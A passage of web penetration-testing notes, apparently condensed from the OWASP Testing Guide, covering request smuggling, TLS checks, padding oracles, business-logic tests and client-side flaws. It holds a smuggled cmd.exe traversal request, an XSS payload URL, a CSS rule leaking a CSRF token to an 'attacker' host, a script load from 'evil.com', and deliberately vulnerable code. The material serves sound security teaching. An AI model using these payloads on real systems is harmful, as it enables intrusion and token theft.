| POST /target.asp HTTP/1.1 <-- Request #1  Host: target  Connection: Keep-Alive  Content-Length: 49225  <CRLF>  <49152 bytes of garbage>  POST /target.asp HTTP/1.0 <-- Request #2  Connection: Keep-Alive  Content-Length: 33  <CRLF>  POST /target.asp HTTP/1.0 <-- Request #3  xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir  HTTP/1.0 <-- Request #4  Connection: Keep-Alive  <CRLF> |

For instance, the HTTP protocol allows only one Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message.

**Testing for Error Handling**

Analysis of Error Codes (OTG-ERR-001)

1. Web Server Errors
2. Application Server Errors
3. Database Servers

Analysis of Stack Traces (OTG-ERR-002)

Stack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. Attackers attempt to generate these stack traces by tampering with the input to the web application with malformed HTTP requests and other input data.

Some tests to try include:

1. invalid input (such as input that is not consistent with application logic.
2. input that contains non alphanumeric characters or query syntax.
3. empty inputs.
4. inputs that are too long.
5. access to internal pages without authentication.
6. bypassing application flow.

For Grey Box Testing look in the source code. In JSP it looks like,

<% e.printStackTrace( new PrintWriter( out ) ) %>

**Tools: ZAP**

**Testing for weak Cryptography**

Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)

When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:

1. SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.
2. Certificate validity must be ensured.

Other vulnerabilities linked to this are:

1. Software exposed must be updated due to possibility of known vulnerabilities.
2. Usage of Secure flag for Session Cookies.
3. Usage of HTTP Strict Transport Security (HSTS).
4. The presence of HTTP and HTTPS both, which can be used to intercept traffic.
5. The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.

Sensitive data transmitted in clear-text

Weak SSL/TLS Ciphers/Protocols/Keys

1. SSL service recognition via nmap, Checking for Certificate information, Weak Ciphers

and SSLv2 via nmap  
nmap -sV --reason -PN -n --top-ports 100 www.example.com  
nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com

1. Checking via openssl
2. java -jar TestSSLServer.jar www3.example.com 443
3. ./sslyze.py --regular example.com:443
4. testssl.sh owasp.org
5. breacher.sh <https://localhost/login.php>

**Surf Jacking**

The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.

The following is a scenario of how the attack can take place:

1. Victim logs into the secure website at https://somesecure-site/.
2. The secure site issues a session cookie as the client logs in. While logged in, the victim opens a new browser window and goes to http:// examplesite/
3. An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.
4. The attacker sends back a “301 Moved Permanently” in response to the clear text traffic to http://examplesite. The response contains the header “Location: <http://somesecuresite> /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.
5. The victim’s browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text The attacker sees this traffic and logs the cookie for later use

To test if a website is vulnerable carry out the following tests:

1. Check if website supports both HTTP and HTTPS protocols
2. Check if cookies do not have the “Secure” flag

Testing for Padding Oracle (OTG-CRYPST-002)

The tests and the base value should at least cause three different states while and after decryption:

1. Cipher text gets decrypted, resulting data is correct.
2. Cipher text gets decrypted, resulting data is garbled and causes some exception or error handling in the application logic.
3. Cipher text decryption fails due to padding errors.

A secure implementation will check for integrity and cause only two responses: ok and failed. There are no side channels which can be used to determine internal error states.

1. PadBuster
2. python-paddingoracle
3. Poracle
4. Padding Oracle Exploitation Tool (POET)

Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)

1. Basic auth over HTTP
2. Form based auth over HTTP
3. Cookie Containing Session ID Sent over HTTP

**Business Logic Testing**

There are many examples that can be made, but the one constant lesson is “think outside of conventional wisdom”. This type of vulnerability cannot be detected by a vulnerability scanner and relies upon the skills and creativity of the penetration tester.

In addition, this type of vulnerability is usually one of the hardest to detect, and usually application specific but, at the same time, usually one of the most detrimental to the application, if exploited.

Testing of business logic flaws is similar to the test types used by functional testers that focus on logical or finite state testing. These types of tests require that security professionals think a bit differently, develop abused and misuse cases and use many of the testing techniques embraced by functional testers.

1. Changing transaction value to a lower price while checking out ( e-commerce site )
2. Holding/locking resources and keeping others from purchases these items online
3. Add loyalty point for a transaction and cancel that transaction later

Test Business Logic Data Validation (OTG-BUSLOGIC-001)

In business logic data validation testing, we verify that the application does not allow users to insert “unvalidated” data into the system/application.

Only verifying data locally may leave applications vulnerable to server injections through proxies or at handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult and, in most cases, cannot be simply verified at the entry point, but usually requires checking some other system.

**What to Test:**

1. Review the project documentation and use exploratory testing looking for data entry points or hand off points between systems or software.
2. Once found try to insert logically invalid data into the application/system.

**Test Ability to Forge Requests (OTG-BUSLOGIC-002)**

In forged and predictive parameter request testing, we verify that the application does not allow users to submit or alter data to any component of the system that they should not have access to, are accessing at that particular time or in that particular manner.

Through request forgeries attackers may be able to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a process or task has or has not taken place.

Generic Testing Method

* Review the project documentation and use exploratory testing looking for guessable, predictable or hidden functionality of fields.
* Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal business logic workflow. Remediation
* The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic flow or exploiting hidden/undocumented functionality such as debugging.

Specific Testing Method 1

* Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable.
* If it is found that some value is guessable this value may be changed, and one may gain unexpected visibility.

Specific Testing Method 2

* Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated.
* If any are found try to guess and change these values to get a different application response or behavior.

Test Integrity Checks (OTG-BUSLOGIC-003)

Without these safe guards attackers may break the business logic workflow and change of compromise the application/system data or cover up actions by altering information including log files.

Additionally, the application must not depend on non-editable controls, drop-down menus or hidden fields for business logic processing because these fields remain non-editable only in the context of the browsers.

Generic Testing Method

1. Review the project documentation and use exploratory testing looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information.
2. For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and delete data/information and in each component.
3. Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that. should not be allowed per the business logic workflow.

Specific Testing Method 1

1. Using a proxy capture and HTTP traffic looking for hidden fields.
2. If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.

Specific Testing Method 2

1. Using a proxy capture and HTTP traffic looking a place to insert information into areas of the application that are non-editable.
2. If it is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.

Specific Testing Method 3

1. List components of the application or system that could be edited, for example logs or databases.
2. For each component identified, try to read, edit or remove its information. For example log files should be identified and Testers should try to manipulate the data/information being Collected

Test for Process Timing (OTG-BUSLOGIC-004)

Without this safeguard in place attackers may be able to monitor processing time and determine outputs based on timing, or circumvent the application’s business logic by not completing transactions or actions in a timely manner

1. Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time.
2. Develop and execute the misuse cases ensuring that attackers can not gain an advantage based on any timing.

Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)

without this safeguard in place attackers may be able to use a function or portion of the application more times than permissible per the business logic to gain additional benefits.

1. Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow.
2. For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts.

Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)

attackers may be able to bypass or circumvent workflows and “checks” allowing them to prematurely enter or skip “required” sections of the application potentially allowing the action/transaction to be completed without successfully completing the entire business process, leaving the system with incomplete backend tracking information.

The application’s business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and spawned actions are “rolled back” or canceled

1. Club loyalty point after cancelling transaction
2. Initially filtered content but later you can edit it as unfiltered.

**Generic Testing Method**

1. Review the project documentation and use exploratory testing looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow.
2. For each method develop a misuse case and try to circumvent or perform an action that is “not acceptable” per the the business logic workflow.

**Testing Method 1**

1. Start a transaction going through the application past the points that triggers credits/points to the users account.
2. Cancel out of the transaction or reduce the final tender so that the point values should be decreased and check the points/ credit system to ensure that the proper points/credits were recorded.

**Testing Method 2**

1. On a content management or bulletin board system enter and save valid initial text or values.
2. Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information.
3. Some “invalid” data or information may be specific words (profanity) or specific topics (such as political issues).

Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)

We verify that the application does not allow users to manipulate the application in an unintended manner.

An authenticated user undertakes the following (unlikely) sequence of actions:

1. Attempt to access a file ID their roles is not permitted to download
2. Substitutes a single tick (‘) instead of the file ID number
3. Alters a GET request to a POST
4. Adds an extra parameter
5. Duplicates a parameter name/value pair

The application is monitoring for misuse and responds after the 5th event with extremely high confidence the user is an attacker. For example the application:

1. Disables critical functionality
2. Enables additional authentication steps to the remaining functionality
3. Adds time-delays into every request-response cycle
4. Begins to record additional data about the user’s interactions (e.g. sanitized HTTP request headers, bodies and response bodies)

Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

Test Upload of Malicious Files (OTG-BUSLOGIC-009)

**Client Side Testing**

Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)

User input comes in two main forms:

1. Input written to the page by the server in a way that does not allow direct XSS
2. Input obtained from client-side JavaScript objects

Testing for JavaScript Execution (OTG-CLIENT-002)

|  |
| --- |
| <script>  function loadObj(){  var cc=eval(‘(‘+aMess+’)’);  document.getElementById(‘mess’).textContent=cc.mes-  sage;  }  if(window.location.hash.indexOf(‘message’)==-1)  var aMess=”({\”message\”:\”Hello User!\”})”;  else  var aMess=location.hash.substr(window.location.hash.  indexOf(‘message=’)+8);  </script> |

Testing for HTML Injection (OTG-CLIENT-003)

[http://vulnerable.site/page.html?user=<img%20src=’aaa’%20onerror=alert(1)](http://vulnerable.site/page.html?user=%3cimg%20src='aaa'%20onerror=alert(1))>

Testing for Client Side URL Redirect (OTG-CLIENT-004)

<http://www.target.site?#redirect=www.fake-target.site>

Testing for CSS Injection (OTG-CLIENT-005)

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim’s browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.

|  |
| --- |
| <a id=”a1”>Click me</a>  <script>  if (location.hash.slice(1)) {  document.getElementById(“a1”).style.cssText = “color: “ +  location.hash.slice(1);  }  </script> |

|  |
| --- |
| <style>  p {  color: <?php echo $\_GET[‘color’]; ?>;  text-align: center;  }  </style> |

|  |
| --- |
| <style>  input[name=csrf\_token][value=^a] {  background-image: url(http://attacker/log?a);  }  </style> |

Testing for Client Side Resource Manipulation (OTG-CLIENT-006)

When an application accepts an user controlled input which specifies the path of a resource (for ex- ample the source of an iframe, js, applet or the handler of an XMLHttpRequest).

|  |
| --- |
| <script>  var d=document.createElement(“script”);  if(location.hash.slice(1))  d.src = location.hash.slice(1);  document.body.appendChild(d);  </script> |

[www.victim.com/#http://evil.com/js.js](http://www.victim.com/#http://evil.com/js.js)

**Tools : DOMinator**

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

1. Insecure response with wildcard ‘\*’ in Access-Control-Allow-Origin
2. Input validation issue, XSS with CORS

Testing for Cross Site Flashing (OTG-CLIENT-008)

Regardless of whether you are looking at ActionScript 2.0 or Action Script 3.0, FlashVars can be a vector of attack.

1. Undefined Variables FlashVars
2. Unsafe Methods
3. Asfunction
4. GetURL (AS2) / NavigateToURL (AS3)
5. ExternalInterface
6. HTML Injection

Cross-Site Flashing (XSF) is a vulnerability which has a similar impact as XSS. XSF Occurs when from different domains:

1. One Movie loads another Movie with loadMovie\* functions or other hacks and has access to the same sandbox or part of it
2. XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:
3. GetVariable: access to flash public and static object from JavaScript as a string.
4. SetVariable: set a static or public flash object to a new string value from JavaScript.
5. Unexpected Browser to SWF communication could result in stealing data from the SWF application.
6. SWF are capable of redirecting browsers.

**Tools:**

1. Adobe SWF Investigator
2. SWFScan
3. SWFIntruder
4. Decompiler – Flare
5. Compiler – MTASC
6. Disassembler – Flasm
7. SWFMill
8. Debugger Version of Flash Plugin/Player

Testing for Clickjacking (OTG-CLIENT-009)

Testing WebSockets (OTG-CLIENT-010)

1. CSRF
2. Confidentiality and Integrity  
   WebSockets can be used over unencrypted TCP or over encrypted TLS.
3. Authentication  
   WebSockets do not handle authentication, instead normal application authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for T op 10 2013-A2-Broken Authentication and Session Management type issues.
4. Authorization  
   WebSockets do not handle authorization, normal application authorization mechanisms apply.
5. Input Sanitization  
   As with any data originating from untrusted sources, the data should be properly sanitised and encoded.

Test Web Messaging (OTG-CLIENT-011)

Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner.

There are some security concerns when using ‘\*’ as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

1. data: The content of the incoming message
2. origin: The origin of the sender document
3. source: source window
4. event.data Input Validation

**Tools : ZAP**

Test Local Storage (OTG-CLIENT-012)

Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP). There are two objects, localStorage that is persistent and is intended to survive browser/ system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed.

On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.

1. **localStorage**
2. **session Storage**

Main difference with localStorage is that the data stored in this object is only accessible until the tab/window is closed which is a perfect candidate for data that doesn’t need to persist between sessions. It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accessed

**Tools : ZAP , Firebug, Chrome Developer Tools**